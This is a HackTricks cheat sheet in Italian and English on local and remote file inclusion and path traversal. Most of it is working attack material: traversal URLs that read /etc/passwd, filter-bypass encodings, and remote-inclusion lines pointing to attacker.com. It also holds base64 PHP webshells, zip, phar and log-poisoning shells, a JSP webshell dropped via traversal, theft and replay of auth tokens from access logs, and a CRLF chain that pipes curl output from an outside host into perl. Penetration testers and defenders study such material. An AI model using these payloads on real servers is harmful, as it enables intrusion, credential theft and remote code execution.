File Inclusion/Path traversal

Reading time: 30 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

File Inclusion

Remote File Inclusion (RFI): Il file viene caricato da un server remoto (Meglio: puoi scrivere il codice e il server lo eseguirà). In PHP questo è disabilitato di default (allow_url_include).
Local File Inclusion (LFI): Il server carica un file locale.

La vulnerabilità si verifica quando l'utente può in qualche modo controllare il file che verrà caricato dal server.

Funzioni PHP vulnerabili: require, require_once, include, include_once

Uno strumento interessante per sfruttare questa vulnerabilità: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Mescolando diverse liste *nix LFI e aggiungendo altri percorsi ho creato questa:

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt

Prova anche a cambiare / con \
Prova anche ad aggiungere ../../../../../

A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found here

Windows

Unione di diverse wordlists:

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt

Prova anche a cambiare / con \
Prova anche a rimuovere C:/ e aggiungere ../../../../../

A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found here

OS X

Controlla la lista LFI di linux.

LFI di base e bypass

Tutti gli esempi sono per Local File Inclusion ma potrebbero essere applicati anche a Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences rimosse non ricorsivamente

python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass l'aggiunta di altri caratteri alla fine della stringa fornita (bypass di: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

Risolto a partire da PHP 5.4

Codifica

Puoi usare codifiche non standard come double URL encode (e altre):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

Dalla cartella esistente

Forse il back-end sta controllando il percorso della cartella:

python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Esplorare le directory del file system su un server

Il file system di un server può essere esplorato ricorsivamente per identificare directory, non solo file, impiegando determinate tecniche. Questo processo comporta la determinazione della profondità della directory e la verifica dell'esistenza di cartelle specifiche. Di seguito è riportato un metodo dettagliato per ottenerlo:

  1. Determinare la profondità della directory: Accerta la profondità della directory corrente recuperando con successo il file /etc/passwd (applicabile se il server è Linux-based). Un URL di esempio potrebbe essere strutturato come segue, indicando una profondità di tre:
bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Esplora le cartelle: Aggiungi il nome della cartella sospetta (ad esempio private) all'URL, poi torna a /etc/passwd. Il livello di directory aggiuntivo richiede di incrementare la profondità di uno:
bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Interpreta i risultati: La risposta del server indica se la cartella esiste:
  • Errore / Nessun output: La cartella private probabilmente non esiste nella posizione specificata.
  • Contenuto di /etc/passwd: La presenza della cartella private è confermata.
  1. Esplorazione ricorsiva: Le cartelle scoperte possono essere ulteriormente esplorate per sottodirectory o file utilizzando la stessa tecnica o i metodi tradizionali di Local File Inclusion (LFI).

Per esplorare directory in posizioni diverse del file system, adatta il payload di conseguenza. Per esempio, per verificare se /var/www/ contiene una directory private (supponendo che la directory corrente sia a una profondità di 3), usa:

bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation è un metodo usato per manipolare i percorsi dei file nelle applicazioni web. Spesso viene utilizzato per accedere a file riservati bypassando certe misure di sicurezza che aggiungono caratteri alla fine dei percorsi. L'obiettivo è costruire un percorso file che, una volta modificato dalla misura di sicurezza, punti comunque al file desiderato.

In PHP, varie rappresentazioni di un percorso file possono essere considerate equivalenti a causa della natura del file system. Ad esempio:

  • /etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/ are all treated as the same path.
  • When the last 6 characters are passwd, appending a / (making it passwd/) doesn't change the targeted file.
  • Similarly, if .php is appended to a file path (like shellcode.php), adding a /. at the end will not alter the file being accessed.

Gli esempi forniti mostrano come utilizzare path truncation per accedere a /etc/passwd, un bersaglio comune a causa del suo contenuto sensibile (informazioni sugli account utente):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

In questi scenari, il numero di traversals necessari potrebbe essere intorno a 2027, ma questo numero può variare in base alla configurazione del server.

  • Using Dot Segments and Additional Characters: Traversal sequences (../) combinati con segmenti di punto aggiuntivi e altri caratteri possono essere usati per navigare il file system, ignorando efficacemente le stringhe aggiunte dal server.
  • Determining the Required Number of Traversals: Attraverso prova ed errore, si può trovare il numero preciso di ../ necessari per arrivare alla root directory e poi a /etc/passwd, assicurandosi che eventuali stringhe aggiunte (come .php) vengano neutralizzate ma il percorso desiderato (/etc/passwd) resti intatto.
  • Starting with a Fake Directory: È pratica comune iniziare il percorso con una directory non esistente (come a/). Questa tecnica viene usata come misura precauzionale o per soddisfare i requisiti della logica di parsing dei percorsi del server.

Quando si impiegano path truncation techniques, è cruciale comprendere il comportamento di parsing dei percorsi del server e la struttura del filesystem. Ogni scenario potrebbe richiedere un approccio diverso, e spesso è necessario testare per trovare il metodo più efficace.

Questa vulnerabilità è stata corretta in PHP 5.3.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

In php questa impostazione è disabilitata di default perché allow_url_include è Off. Deve essere On perché funzioni, e in quel caso potresti includere un file PHP dal tuo server e ottenere RCE:

python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Se per qualche motivo allow_url_include è On, ma PHP sta filtrando l'accesso a pagine web esterne, secondo questo post, potresti usare ad esempio il data protocol con base64 per decodificare un b64 PHP code e ottenere RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

tip

Nel codice precedente, il +.txt finale è stato aggiunto perché l'attacker aveva bisogno di una string che terminasse con .txt, quindi la string termina con esso e dopo il b64 decode quella parte restituirà solo junk e il vero codice PHP verrà incluso (e quindi eseguito).

Un altro esempio che non usa il protocollo php:// sarebbe:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Elemento root in Python

In Python, in un codice come il seguente:

python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Se l'utente fornisce un percorso assoluto a file_name, il percorso precedente viene semplicemente rimosso:

python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

È il comportamento previsto secondo the docs:

Se un componente è un percorso assoluto, tutti i componenti precedenti vengono scartati e l'unione continua a partire dal componente con il percorso assoluto.

Elenco directory in Java

Sembra che se hai un Path Traversal in Java e richiedi una directory invece di un file, viene restituito un elenco della directory. Questo non accade in altri linguaggi (afaik).

Top 25 parametri

Ecco la lista dei top 25 parametri che potrebbero essere vulnerabili a local file inclusion (LFI) vulnerabilities (from link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI using PHP wrappers & protocols

php://filter

PHP filters permettono di eseguire operazioni di modifica sui dati prima che vengano letti o scritti. Ci sono 5 categorie di filtri:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Rimuove i tag dai dati (tutto ciò che è compreso tra i caratteri "<" e ">")
  • Nota che questo filtro è scomparso nelle versioni moderne di PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Trasforma in una diversa codifica (convert.iconv.<input_enc>.<output_enc>). Per ottenere la lista di tutte le codifiche supportate esegui in console: iconv -l

warning

Abusando del filtro di conversione convert.iconv.* puoi generare testo arbitrario, cosa che può essere utile per scrivere testo arbitrario o far sì che una funzione come include processi testo arbitrario. Per maggiori informazioni consulta LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: Comprime il contenuto (utile se si esfiltrano molte informazioni)
  • zlib.inflate: Decomprime i dati
  • Encryption Filters
  • mcrypt.* : Deprecated
  • mdecrypt.* : Deprecated
  • Altri filtri
  • Eseguendo in php var_dump(stream_get_filters()); puoi trovare un paio di filtri inaspettati:
  • consumed
  • dechunk: inverte l'HTTP chunked encoding
  • convert.*
php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

warning

La parte "php://filter" non fa distinzione tra maiuscole e minuscole

Uso di php filters come oracle per leggere file arbitrari

In this post è proposta una tecnica per leggere un file locale senza che l'output venga restituito dal server. Questa tecnica si basa su una boolean exfiltration of the file (char by char) using php filters as oracle. Questo perché php filters possono essere usati per rendere un testo sufficientemente grande da far sì che php generi un'eccezione.

Nel post originale trovi una spiegazione dettagliata della tecnica, ma qui c'è un riepilogo rapido:

  • Usa il codec UCS-4LE per lasciare il carattere iniziale del testo all'inizio e far aumentare la dimensione della stringa esponenzialmente.
  • Questo sarà usato per generare un testo talmente grande quando la lettera iniziale è indovinata correttamente che php scatenerà un errore.
  • Il filtro dechunk rimuoverà tutto se il primo carattere non è un’esadecimale (hex), quindi possiamo sapere se il primo carattere è hex.
  • Questo, combinato con il precedente (e altri filtri a seconda della lettera indovinata), ci permetterà di indovinare una lettera all'inizio del testo osservando quando applichiamo sufficienti trasformazioni da farla diventare non più un carattere esadecimale. Perché se è hex, dechunk non la cancellerà e la bomba iniziale farà sì che php generi un errore.
  • Il codec convert.iconv.UNICODE.CP930 trasforma ogni lettera nella successiva (quindi dopo questo codec: a -> b). Questo ci permette di scoprire se la prima lettera è una a per esempio perché se applichiamo 6 volte questo codec a->b->c->d->e->f->g la lettera non è più un carattere esadecimale, quindi dechunk non la cancella e l'errore php viene attivato perché si moltiplica con la bomba iniziale.
  • Utilizzando altre trasformazioni come rot13 all'inizio è possibile leakare altri chars come n, o, p, q, r (e altri codecs possono essere usati per spostare altre lettere nell'intervallo hex).
  • Quando il carattere iniziale è un numero è necessario codificarlo in base64 e leakare le prime 2 lettere per leakare il numero.
  • Il problema finale è capire come leakare più della lettera iniziale. Usando order memory filters come convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE è possibile cambiare l'ordine dei caratteri e portare in prima posizione altre lettere del testo.
  • E per poter ottenere ulteriori dati l'idea è di generare 2 byte di junk data all'inizio con convert.iconv.UTF16.UTF16, applicare UCS-4LE per farli pivotare con i successivi 2 byte, e delete the data until the junk data (questo rimuoverà i primi 2 byte del testo iniziale). Continuare così fino a raggiungere il bit desiderato da leakare.

Nel post è stato anche leakato uno strumento per eseguire questo automaticamente: php_filters_chain_oracle_exploit.

php://fd

Questo wrapper permette di accedere ai file descriptor che il processo ha aperto. Potenzialmente utile per exfiltrate il contenuto dei file aperti:

php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Puoi anche usare php://stdin, php://stdout and php://stderr per accedere rispettivamente ai descrittori di file 0, 1 e 2 (non sono sicuro di quanto questo possa essere utile in un attacco)

zip:// and rar://

Carica un file Zip o Rar con una PHPShell al suo interno e accedi.
Per poter abusare del protocollo rar, esso deve essere specificamente attivato.

bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Nota che questo protocollo è limitato dalle configurazioni di php allow_url_open e allow_url_include

expect://

Expect deve essere attivato. Puoi eseguire codice usando questo:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Specifica il tuo payload nei parametri POST:

bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Un file .phar può essere utilizzato per eseguire codice PHP quando un'applicazione web sfrutta funzioni come include per il caricamento di file. Lo snippet di codice PHP mostrato di seguito dimostra la creazione di un file .phar:

php
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Per compilare il file .phar, eseguire il seguente comando:

bash
php --define phar.readonly=0 create_path.php

All'esecuzione verrà creato un file chiamato test.phar, che potrebbe essere utilizzato per sfruttare vulnerabilità di Local File Inclusion (LFI).

Nei casi in cui l'LFI esegue solo la lettura dei file senza eseguire il codice PHP al loro interno, tramite funzioni come file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), o filesize(), è possibile tentare lo sfruttamento di una vulnerabilità di deserializzazione. Questa vulnerabilità è legata alla lettura di file usando il protocollo phar.

Per una comprensione dettagliata di come sfruttare vulnerabilità di deserializzazione nel contesto dei file .phar, fare riferimento al documento collegato di seguito:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

È stato possibile abusare di any arbitrary file read from PHP that supports php filters per ottenere una RCE. La descrizione dettagliata può essere found in this post.
Breve riassunto: un 3 byte overflow nell'heap di PHP è stato abusato per alterare la catena dei free chunks di una specifica dimensione al fine di poter scrivere qualsiasi cosa in qualsiasi indirizzo, quindi è stato aggiunto un hook per chiamare system.
È stato possibile allocare chunk di dimensioni specifiche abusando di altri php filters.

More protocols

Controlla altri possibili protocols to include here:

  • php://memory and php://temp — Scrive in memoria o in un file temporaneo (non è chiaro come questo possa essere utile in un file inclusion attack)
  • file:// — Accesso al filesystem locale
  • http:// — Accesso a URL HTTP(s)
  • ftp:// — Accesso a URL FTP(s)
  • zlib:// — Stream di compressione
  • glob:// — Trova pathnames che corrispondono al pattern (Non restituisce nulla di stampabile, quindi non è molto utile qui)
  • ssh2:// — Secure Shell 2
  • ogg:// — Stream audio (Non utile per leggere file arbitrari)

LFI via PHP's 'assert'

I rischi di Local File Inclusion (LFI) in PHP sono particolarmente elevati quando si lavora con la funzione 'assert', che può eseguire codice presente nelle stringhe. Questo è particolarmente problematico se l'input contenente caratteri di directory traversal come ".." viene controllato ma non correttamente sanitizzato.

Ad esempio, il codice PHP potrebbe essere progettato per prevenire directory traversal in questo modo:

bash
assert("strpos('$file', '..') === false") or die("");

Sebbene questo miri a impedire il traversal, crea involontariamente un vettore per code injection. Per sfruttarlo per leggere il contenuto dei file, un attacker potrebbe usare:

plaintext
' and die(highlight_file('/etc/passwd')) or '

Analogamente, per eseguire comandi di sistema arbitrari, si potrebbe usare:

plaintext
' and die(system("id")) or '

È importante URL-encode these payloads.

PHP Blind Path Traversal

warning

Questa tecnica è rilevante nei casi in cui tu controlli il file path di una PHP function che accederà a un file ma non vedrai il contenuto del file (come una semplice chiamata a file()) perché il contenuto non viene mostrato.

In this incredible post viene spiegato come un blind path traversal possa essere abusato via PHP filter per exfiltrate the content of a file via an error oracle.

In sintesi, la tecnica usa la codifica "UCS-4LE" per rendere il contenuto di un file così big che la funzione PHP che apre il file causerà un error.

Poi, per leak del primo char si usa il filtro dechunk insieme ad altri come base64 o rot13 e infine i filtri convert.iconv.UCS-4.UCS-4LE e convert.iconv.UTF16.UTF-16BE vengono usati per posizionare altri char all'inizio e leak them.

Funzioni che potrebbero essere vulnerabili: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Per i dettagli tecnici verifica il post citato!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

Quando il codice server-side che ingerisce/upload di file costruisce il percorso di destinazione usando dati controllati dall'utente (es., un filename o URL) senza canonicalising e validare, i segmenti .. e i percorsi assoluti possono uscire dalla directory prevista e causare un arbitrary file write. Se puoi posizionare il payload in una directory esposta al web, di solito ottieni una RCE non autenticata lasciando una webshell.

Flusso tipico di exploitation:

  • Individua un write primitive in un endpoint o background worker che accetta un path/filename e scrive contenuto su disco (es., message-driven ingestion, XML/JSON command handlers, ZIP extractors, ecc.).
  • Determina le directory esposte al web. Esempi comuni:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Crea un traversal path che esca dalla directory di storage prevista verso il webroot e includi il contenuto della tua webshell.
  • Accedi al payload caricato e esegui comandi.

Note:

  • Il servizio vulnerabile che esegue la scrittura può essere in ascolto su una porta non-HTTP (es., un JMF XML listener su TCP 4004). Il main web portal (porta differente) servirà poi il tuo payload.
  • Sui stack Java, queste scritture su file sono spesso implementate con semplici concatenazioni File/Paths. La mancanza di canonicalisation/allow-listing è il difetto principale.

Esempio generico in stile XML/JMF (gli schemi dei prodotti variano – il DOCTYPE/body wrapper è irrilevante per il traversal):

xml
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Hardening che sconfigge questa classe di bug:

  • Risolvi il percorso in una forma canonica e verifica che sia discendente di una directory base consentita.
  • Rifiuta qualsiasi percorso che contenga .., root assoluti, o lettere di unità; preferisci nomi di file generati.
  • Esegui il writer con un account a basso privilegio e separa le directory di scrittura dalle radici servite.

Remote File Inclusion

Explained previously, follow this link.

Via Apache/Nginx log file

Se il server Apache o Nginx è vulnerabile a LFI all'interno della funzione include puoi provare ad accedere a /var/log/apache2/access.log or /var/log/nginx/access.log, impostare nel user agent o in un GET parameter una php shell come <?php system($_GET['c']); ?> e includere quel file

warning

Nota che se usi le virgolette doppie per la shell invece delle virgolette semplici, le virgolette doppie saranno modificate per la stringa "quote;", PHP genererà un errore lì e nulla verrà eseguito.

Inoltre, assicurati di scrivere correttamente il payload oppure PHP darà errore ogni volta che tenterà di caricare il file di log e non avrai una seconda opportunità.

Questo può essere fatto anche in altri log ma fai attenzione, il codice all'interno dei log potrebbe essere URL encoded e questo potrebbe distruggere la Shell. L'header authorisation "basic" contiene "user:password" in Base64 ed è decodificato all'interno dei log. La PHPShell potrebbe essere inserita all'interno di questo header.
Altri possibili percorsi di log:

python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Leggere i log di accesso per raccogliere GET-based auth tokens (token replay)

Molte app accettano per errore session/auth tokens via GET (es., AuthenticationToken, token, sid). Se hai un path traversal/LFI che ti permette di accedere ai log del web server, puoi rubare quei token dagli access log e usarne il replay per bypassare completamente l'autenticazione.

How-to:

  • Usa il traversal/LFI per leggere l'access log del web server. Posizioni comuni:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • Alcuni endpoint restituiscono file reads Base64-encoded. Se è così, decodifica localmente e ispeziona le righe del log.
  • Usa Grep per cercare richieste GET che includono un parametro token e catturarne il valore, poi effettua il replay contro il punto d'ingresso dell'applicazione.

Example flow (generic):

http
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

Decodifica il body se è Base64, poi fai replay di un token catturato:

http
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

Note:

  • Tokens in URLs vengono registrati di default; non accettare mai bearer tokens via GET in sistemi di produzione.
  • Se l'app supporta più nomi di token, cerca chiavi comuni come AuthenticationToken, token, sid, access_token.
  • Ruota qualsiasi token che potrebbe essere leaked nei log.

Via Email

Invia una mail a un account interno (user@localhost) contenente il tuo PHP payload come <?php echo system($_REQUEST["cmd"]); ?> e prova a includerla nella mail dell'utente con un percorso come /var/mail/<USERNAME> o /var/spool/mail/<USERNAME>

Via /proc//fd/

  1. Carica molte shells (per esempio: 100)
  2. Includi http://example.com/index.php?page=/proc/$PID/fd/$FD, con $PID = PID del processo (può essere brute forced) e $FD il file descriptor (può essere brute forced anche lui)

Via /proc/self/environ

Come un file di log, invia il payload nel User-Agent; sarà riflesso all'interno del file /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

Se puoi uploadare un file, inietta semplicemente il shell payload al suo interno (es.: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Per mantenere il file leggibile è meglio iniettare nei metadati di immagini/doc/pdf

Tramite upload di file ZIP

Carica un file ZIP contenente una shell PHP compressa e accedi a:

python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Tramite PHP sessions

Verifica se il sito web utilizza PHP Session (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

In PHP queste sessioni vengono memorizzate in /var/lib/php5/sess\[PHPSESSID]_ file

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Imposta il cookie su <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Usa LFI per includere il file di sessione PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

Se ssh è attivo, controlla quale utente viene utilizzato (/proc/self/status & /etc/passwd) e prova ad accedere a <HOME>/.ssh/id_rsa

Via vsftpd logs

I log del server FTP vsftpd si trovano in /var/log/vsftpd.log. Nel caso sia presente una vulnerabilità Local File Inclusion (LFI) e sia possibile accedere a un server vsftpd esposto, si possono considerare i seguenti passaggi:

  1. Inietta un payload PHP nel campo username durante il processo di login.
  2. Dopo l'iniezione, utilizza la LFI per recuperare i log del server da /var/log/vsftpd.log.

Via php base64 filter (usando base64)

Come mostrato in this article, PHP base64 filter semplicemente ignora i caratteri Non-base64. Puoi usare questo per bypassare il controllo dell'estensione del file: se fornisci un base64 che termina con ".php", esso semplicemente ignorerà il "." e aggiungerà "php" al base64. Ecco un esempio di payload:

url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (nessun file necessario)

Questo writeup spiega che puoi usare php filters per generare contenuto arbitrario come output. Il che sostanzialmente significa che puoi generare codice php arbitrario per l'include senza bisogno di scriverlo in un file.

LFI2RCE via PHP Filters

Via segmentation fault

Upload un file che sarà memorizzato come temporary in /tmp, poi nella same request, scatenare un segmentation fault, e allora il temporary file won't be deleted e puoi cercarlo.

LFI2RCE via Segmentation Fault

Via Nginx temp file storage

Se hai trovato una Local File Inclusion e Nginx è in esecuzione davanti a PHP potresti ottenere RCE con la seguente tecnica:

LFI2RCE via Nginx temp files

Via PHP_SESSION_UPLOAD_PROGRESS

Se hai trovato una Local File Inclusion anche se non hai una sessione e session.auto_start è Off. Se fornisci il PHP_SESSION_UPLOAD_PROGRESS nei dati multipart POST, PHP abiliterà la sessione per te. Potresti abusare di questo per ottenere RCE:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Via temp file uploads in Windows

Se hai trovato una Local File Inclusion e il server gira su Windows potresti ottenere RCE:

LFI2RCE Via temp file uploads

Via pearcmd.php + URL args

As explained in this post, the script /usr/local/lib/phppearcmd.php exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an =, it should be used as an argument. See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.

The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:

bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Quanto segue sfrutta una vuln CRLF per ottenere RCE (da here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Via phpinfo() (file_uploads = on)

Se trovi una Local File Inclusion e un file che espone phpinfo() con file_uploads = on puoi ottenere RCE:

LFI2RCE via phpinfo()

Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Se trovi una Local File Inclusion e puoi exfiltrate the path del file temporaneo MA il server sta controllando se il file da includere presenta tag PHP, puoi provare a bypassare quel controllo con questa Race Condition:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Via eternal waiting + bruteforce

Se puoi abusare della LFI per upload temporary files e far hang l'esecuzione PHP sul server, potresti poi brute force i nomi dei file per ore per trovare il file temporaneo:

LFI2RCE via Eternal waiting

To Fatal Error

Se includi uno dei file /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Devi includere lo stesso file 2 volte per generare quell'errore).

Non so quanto sia utile ma potrebbe esserlo.
Anche se causi un PHP Fatal Error, i file temporanei PHP caricati vengono eliminati.

References

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks